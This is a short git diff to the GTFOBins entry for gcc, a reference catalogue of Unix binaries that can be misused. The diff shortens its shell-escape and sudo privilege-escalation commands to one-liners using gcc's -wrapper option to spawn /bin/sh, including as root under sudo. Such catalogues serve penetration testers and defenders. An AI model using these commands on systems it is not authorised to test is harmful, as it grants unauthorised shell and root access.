diff --git a/_gtfobins/gcc.md b/_gtfobins/gcc.md index 329e9ee..0c7f668 100644 --- a/_gtfobins/gcc.md +++ b/_gtfobins/gcc.md @@ -1,17 +1,7 @@ --- functions: shell: - - code: | - TF=$(mktemp -d) - echo '#!/bin/sh' > $TF/x - echo '/bin/sh' >> $TF/x - chmod +x $TF/x - gcc -wrapper $TF/x $TF/x + - code: gcc -wrapper /bin/sh,-s . sudo: - - code: | - TF=$(mktemp -d) - echo '#!/bin/sh' > $TF/x - echo '/bin/sh' >> $TF/x - chmod +x $TF/x - sudo gcc -wrapper $TF/x $TF/x + - code: sudo gcc -wrapper /bin/sh,-s . ---